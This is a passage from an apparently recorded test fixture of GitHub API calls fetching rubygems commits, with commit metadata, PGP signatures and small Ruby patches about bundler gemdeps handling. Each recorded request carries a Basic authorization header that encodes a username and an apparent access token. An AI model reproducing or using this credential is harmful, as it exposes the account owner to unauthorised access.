X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.039189' X-Github-Request-Id: - A1A0:4D97:9034F3:1C46D57:5A50E45D body: encoding: ASCII-8BIT string: '{"sha":"08e6d9b5967432f6afb6c1bd00825545e3287fe8","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-23T12:27:19Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-23T12:27:19Z"},"message":"Auto merge of #2125 - rubygems:fix-warnings-invalid-gemspec, r=hsbt\n\nAvoid to warnings about gemspec loadings in rubygems tests.\n\n`bundler-1.15.4.gemspec` was evaluated `Gem::Specification.load`. It needs valid gemspec.","tree":{"sha":"c89c1cd0849e2beb23c3ad3c440988d6c5a5d4cb","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c89c1cd0849e2beb23c3ad3c440988d6c5a5d4cb"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/08e6d9b5967432f6afb6c1bd00825545e3287fe8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/08e6d9b5967432f6afb6c1bd00825545e3287fe8","html_url":"https://github.com/rubygems/rubygems/commit/08e6d9b5967432f6afb6c1bd00825545e3287fe8","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/08e6d9b5967432f6afb6c1bd00825545e3287fe8/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"ed508f24cf89df355ecd8f0144b460b82b0c81fd","url":"https://api.github.com/repos/rubygems/rubygems/commits/ed508f24cf89df355ecd8f0144b460b82b0c81fd","html_url":"https://github.com/rubygems/rubygems/commit/ed508f24cf89df355ecd8f0144b460b82b0c81fd"},{"sha":"04ce608d64894a8b74665f1156c20771db36ef03","url":"https://api.github.com/repos/rubygems/rubygems/commits/04ce608d64894a8b74665f1156c20771db36ef03","html_url":"https://github.com/rubygems/rubygems/commit/04ce608d64894a8b74665f1156c20771db36ef03"}],"stats":{"total":3,"additions":2,"deletions":1},"files":[{"sha":"b23e56e708e26b82b77492a3ecbb59d165bf5f07","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/08e6d9b5967432f6afb6c1bd00825545e3287fe8/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/08e6d9b5967432f6afb6c1bd00825545e3287fe8/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=08e6d9b5967432f6afb6c1bd00825545e3287fe8","patch":"@@ -43,7 +43,8 @@ def setup\n end\n \n open(File.join(Gem::Specification.default_specifications_dir, \"bundler-1.15.4.gemspec\"), ''w'') do |io|\n- io.puts ''# bundler-1.15.4''\n+ gemspec.version = \"1.15.4\"\n+ io.puts gemspec.to_ruby\n end\n \n FileUtils.mkdir_p File.join(Gem.default_dir, \"specifications\")"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:41 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/32dbca01d96e6f99c9339c3ff961da934e158003 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:41 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4582' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"8e3f843520cb47f894a2be5c266a225c" Last-Modified: - Sat, 23 Dec 2017 10:50:04 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049496' X-Github-Request-Id: - C472:4D96:97142F:13A330F:5A50E45D body: encoding: ASCII-8BIT string: '{"sha":"32dbca01d96e6f99c9339c3ff961da934e158003","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-23T10:50:04Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-23T10:50:04Z"},"message":"Fix a wrong condition","tree":{"sha":"42715ac9a3be5975cc5be2a512117d2218411a52","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/42715ac9a3be5975cc5be2a512117d2218411a52"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/32dbca01d96e6f99c9339c3ff961da934e158003","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlo+NNwACgkQ+c8TQXJk\n+sKtUgf9FvaAmJqXGzmsP3hZtb+RIZyEIDBXcouHGU4UqXgkg0Xe7qebDaImDt8l\n4cindD5tl4j3WfAhidlEe2VEfMnd3HaFM/h/qm89SI5EFEJPLNVGqUfOsQ9rnlMS\nxEnJ/4NDkNKjskISS8vhef4nzW8oXQ6UB6MrmVkzMuaP9QHxb5yGJv7fZ1OT1U4z\nR9gbiDzivZ7yXakbPjYy2RnG2UcpQKgyqajnY04TuVRsdLiJYMlT14kFTNI3mQmx\nuQlrObgAgvEYyzsvcc2XmO5HO1K1/E1po/vXFo8fwbHmUucnKzOymolRVnqQhRbi\nGEbMTq4Oma2bVIEs5wpK0DfE+Xroww==\n=mJfm\n-----END PGP SIGNATURE-----","payload":"tree 42715ac9a3be5975cc5be2a512117d2218411a52\nparent b3bf89cfc656f939209a3bfe7f5d0a717db49b06\nauthor SHIBATA Hiroshi 1514026204 +0900\ncommitter SHIBATA Hiroshi 1514026204 +0900\n\nFix a wrong condition\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/32dbca01d96e6f99c9339c3ff961da934e158003","html_url":"https://github.com/rubygems/rubygems/commit/32dbca01d96e6f99c9339c3ff961da934e158003","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/32dbca01d96e6f99c9339c3ff961da934e158003/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"b3bf89cfc656f939209a3bfe7f5d0a717db49b06","url":"https://api.github.com/repos/rubygems/rubygems/commits/b3bf89cfc656f939209a3bfe7f5d0a717db49b06","html_url":"https://github.com/rubygems/rubygems/commit/b3bf89cfc656f939209a3bfe7f5d0a717db49b06"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"abc35c012ddea121622f3af743c1e5df4798114e","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/32dbca01d96e6f99c9339c3ff961da934e158003/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/32dbca01d96e6f99c9339c3ff961da934e158003/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=32dbca01d96e6f99c9339c3ff961da934e158003","patch":"@@ -176,7 +176,7 @@ module Gem\n write_binary_errors\n end.freeze\n \n- USE_BUNDLER_FOR_GEMDEPS = ENV[''USE_BUNDLER_FOR_GEMDEPS''] || true # :nodoc:\n+ USE_BUNDLER_FOR_GEMDEPS = !ENV[''DONT_USE_BUNDLER_FOR_GEMDEPS''] # :nodoc:\n \n @@win_platform = nil\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:41 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/04ce608d64894a8b74665f1156c20771db36ef03 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:41 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4581' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"431b062f59fa606b1d85ae8f87a1ba41" Last-Modified: - Sat, 23 Dec 2017 09:55:20 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.042768' X-Github-Request-Id: - A1A4:4D96:97143C:13A3321:5A50E45D body: encoding: ASCII-8BIT string: '{"sha":"04ce608d64894a8b74665f1156c20771db36ef03","commit":{"author":{"name":"hsbt","email":"hsbt@b2dd03c8-39d4-4d8f-98ff-823fe69b080e","date":"2017-12-23T00:38:52Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-23T09:55:20Z"},"message":"Avoid to warnings about gemspec loadings in rubygems tests.\n\ngit-svn-id: svn+ssh://ci.ruby-lang.org/ruby/trunk@61419 b2dd03c8-39d4-4d8f-98ff-823fe69b080e","tree":{"sha":"c89c1cd0849e2beb23c3ad3c440988d6c5a5d4cb","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c89c1cd0849e2beb23c3ad3c440988d6c5a5d4cb"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/04ce608d64894a8b74665f1156c20771db36ef03","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/04ce608d64894a8b74665f1156c20771db36ef03","html_url":"https://github.com/rubygems/rubygems/commit/04ce608d64894a8b74665f1156c20771db36ef03","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/04ce608d64894a8b74665f1156c20771db36ef03/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"ed508f24cf89df355ecd8f0144b460b82b0c81fd","url":"https://api.github.com/repos/rubygems/rubygems/commits/ed508f24cf89df355ecd8f0144b460b82b0c81fd","html_url":"https://github.com/rubygems/rubygems/commit/ed508f24cf89df355ecd8f0144b460b82b0c81fd"}],"stats":{"total":3,"additions":2,"deletions":1},"files":[{"sha":"b23e56e708e26b82b77492a3ecbb59d165bf5f07","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/04ce608d64894a8b74665f1156c20771db36ef03/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/04ce608d64894a8b74665f1156c20771db36ef03/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=04ce608d64894a8b74665f1156c20771db36ef03","patch":"@@ -43,7 +43,8 @@ def setup\n end\n \n open(File.join(Gem::Specification.default_specifications_dir, \"bundler-1.15.4.gemspec\"), ''w'') do |io|\n- io.puts ''# bundler-1.15.4''\n+ gemspec.version = \"1.15.4\"\n+ io.puts gemspec.to_ruby\n end\n \n FileUtils.mkdir_p File.join(Gem.default_dir, \"specifications\")"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:41 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/b3bf89cfc656f939209a3bfe7f5d0a717db49b06 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:41 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4580' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"bec7435d015976f5538186332f92bd21" Last-Modified: - Sat, 23 Dec 2017 09:51:42 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.043267' X-Github-Request-Id: - A1A6:4D95:F47A31:1C82F8A:5A50E45D body: encoding: ASCII-8BIT string: '{"sha":"b3bf89cfc656f939209a3bfe7f5d0a717db49b06","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-23T09:51:42Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-23T09:51:42Z"},"message":"Make to use bundler gemdeps with environmental variables.","tree":{"sha":"51201475ac74114dd2739fbc8e40a4f73597d730","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/51201475ac74114dd2739fbc8e40a4f73597d730"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b3bf89cfc656f939209a3bfe7f5d0a717db49b06","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlo+Jy4ACgkQ+c8TQXJk\n+sKiuQf6Ala3jNAub/7m2g+Pi++xoUxN27pPPA367uiX/4zTAVkydytmmHLUCbug\n7M7y+D1eisdju7g/9Sz1GNp0SG9O1hDBJzeTbgJZ2aizZXIaReTqYE6fINF6gUEU\nRpcNBT0UBJ8vroKQowmWUFZQIXiKpY3kU4T6g8ck5g+C1tiARlK/8/7wPq1t2MRe\nvkvh4eDPtAZ5kirk3FOqQ/gwZ5rszLX1oDcYTXDbtlNZ4nQj4hE7bYsMTbZYpsh3\n9tZoJTI568KMEn3rfFloX7+N5ngx/Vvw4gHj5o4DBx7p3mDLsGDSF5yTp88is62N\nJxpNqscJyyOEm3xm9FYZh3/gqUNb7A==\n=pQTM\n-----END PGP SIGNATURE-----","payload":"tree 51201475ac74114dd2739fbc8e40a4f73597d730\nparent ed508f24cf89df355ecd8f0144b460b82b0c81fd\nauthor SHIBATA Hiroshi 1514022702 +0900\ncommitter SHIBATA Hiroshi 1514022702 +0900\n\nMake to use bundler gemdeps with environmental variables.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b3bf89cfc656f939209a3bfe7f5d0a717db49b06","html_url":"https://github.com/rubygems/rubygems/commit/b3bf89cfc656f939209a3bfe7f5d0a717db49b06","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b3bf89cfc656f939209a3bfe7f5d0a717db49b06/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"ed508f24cf89df355ecd8f0144b460b82b0c81fd","url":"https://api.github.com/repos/rubygems/rubygems/commits/ed508f24cf89df355ecd8f0144b460b82b0c81fd","html_url":"https://github.com/rubygems/rubygems/commit/ed508f24cf89df355ecd8f0144b460b82b0c81fd"}],"stats":{"total":27,"additions":18,"deletions":9},"files":[{"sha":"d02f59acb0dbf739fe75cc0cb5b1b931bec41e9c","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/b3bf89cfc656f939209a3bfe7f5d0a717db49b06/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/b3bf89cfc656f939209a3bfe7f5d0a717db49b06/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=b3bf89cfc656f939209a3bfe7f5d0a717db49b06","patch":"@@ -176,7 +176,7 @@ module Gem\n write_binary_errors\n end.freeze\n \n- USE_BUNDLER_FOR_GEMDEPS = true # :nodoc:\n+ USE_BUNDLER_FOR_GEMDEPS = ENV[''USE_BUNDLER_FOR_GEMDEPS''] || true # :nodoc:\n \n @@win_platform = nil\n "},{"sha":"f6cf5e94e34916716018c5406c2fa227f25c9e83","filename":"lib/rubygems/test_case.rb","status":"modified","additions":9,"deletions":3,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/b3bf89cfc656f939209a3bfe7f5d0a717db49b06/lib/rubygems/test_case.rb","raw_url":"https://github.com/rubygems/rubygems/raw/b3bf89cfc656f939209a3bfe7f5d0a717db49b06/lib/rubygems/test_case.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/test_case.rb?ref=b3bf89cfc656f939209a3bfe7f5d0a717db49b06","patch":"@@ -25,7 +25,9 @@\n gem ''json''\n end\n \n-require ''bundler''\n+if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ require ''bundler''\n+end\n require ''minitest/autorun''\n \n require ''rubygems/deprecate''\n@@ -235,7 +237,9 @@ def setup\n @current_dir = Dir.pwd\n @fetcher = nil\n \n- Bundler.ui = Bundler::UI::Silent.new\n+ if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ Bundler.ui = Bundler::UI::Silent.new\n+ end\n @back_ui = Gem::DefaultUserInteraction.ui\n @ui = Gem::MockGemUi.new\n # This needs to be a new instance since we call use_ui(@ui) when we want to\n@@ -331,7 +335,9 @@ def setup\n Gem.loaded_specs.clear\n Gem.clear_default_specs\n Gem::Specification.unresolved_deps.clear\n- Bundler.reset!\n+ if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ Bundler.reset!\n+ end\n \n Gem.configuration.verbose = true\n Gem.configuration.update_sources = true"},{"sha":"0d71db9d790acd1b782dabc035e9092fc920d763","filename":"test/rubygems/test_gem.rb","status":"modified","additions":8,"deletions":5,"changes":13,"blob_url":"https://github.com/rubygems/rubygems/blob/b3bf89cfc656f939209a3bfe7f5d0a717db49b06/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/b3bf89cfc656f939209a3bfe7f5d0a717db49b06/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=b3bf89cfc656f939209a3bfe7f5d0a717db49b06","patch":"@@ -1480,8 +1480,11 @@ def test_auto_activation_of_detected_gemdeps_file\n end\n \n LIB_PATH = File.expand_path \"../../../lib\".dup.untaint, __FILE__.dup.untaint\n- BUNDLER_LIB_PATH = File.expand_path $LOAD_PATH.find {|lp| File.file?(File.join(lp, \"bundler.rb\")) }.dup.untaint\n- BUNDLER_FULL_NAME = \"bundler-#{Bundler::VERSION}\"\n+\n+ if Gem::USE_BUNDLER_FOR_GEMDEPS\n+ BUNDLER_LIB_PATH = File.expand_path $LOAD_PATH.find {|lp| File.file?(File.join(lp, \"bundler.rb\")) }.dup.untaint\n+ BUNDLER_FULL_NAME = \"bundler-#{Bundler::VERSION}\"\n+ end\n \n def add_bundler_full_name(names)\n return names unless Gem::USE_BUNDLER_FOR_GEMDEPS\n@@ -1529,7 +1532,7 @@ def test_looks_for_gemdeps_files_automatically_on_start\n out = IO.popen(cmd, &:read).split(/\\n/)\n \n assert_equal [\"b-1\", \"c-1\"], out - out0\n- end\n+ end if Gem::USE_BUNDLER_FOR_GEMDEPS\n \n def test_looks_for_gemdeps_files_automatically_on_start_in_parent_dir\n util_clear_gems\n@@ -1574,7 +1577,7 @@ def test_looks_for_gemdeps_files_automatically_on_start_in_parent_dir\n Dir.rmdir \"sub1\"\n \n assert_equal [\"b-1\", \"c-1\"], out - out0\n- end\n+ end if Gem::USE_BUNDLER_FOR_GEMDEPS\n \n def test_register_default_spec\n Gem.clear_default_specs\n@@ -1775,7 +1778,7 @@ def test_use_gemdeps_missing_gem\n end\n ensure\n ENV[''RUBYGEMS_GEMDEPS''] = rubygems_gemdeps\n- end\n+ end if Gem::USE_BUNDLER_FOR_GEMDEPS\n \n def test_use_gemdeps_specific\n skip ''Insecure operation - read'' if RUBY_VERSION <= \"1.8.7\""}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:41 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ed508f24cf89df355ecd8f0144b460b82b0c81fd body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:41 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4579' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"be041a924c5eeb8edf946175ceba0a05" Last-Modified: - Sat, 23 Dec 2017 01:39:39 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.044888' X-Github-Request-Id: - C478:4D97:903507:1C46DA6:5A50E45D body: encoding: ASCII-8BIT string: '{"sha":"ed508f24cf89df355ecd8f0144b460b82b0c81fd","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-23T01:39:39Z"},"committer":{"name":"The Bundler 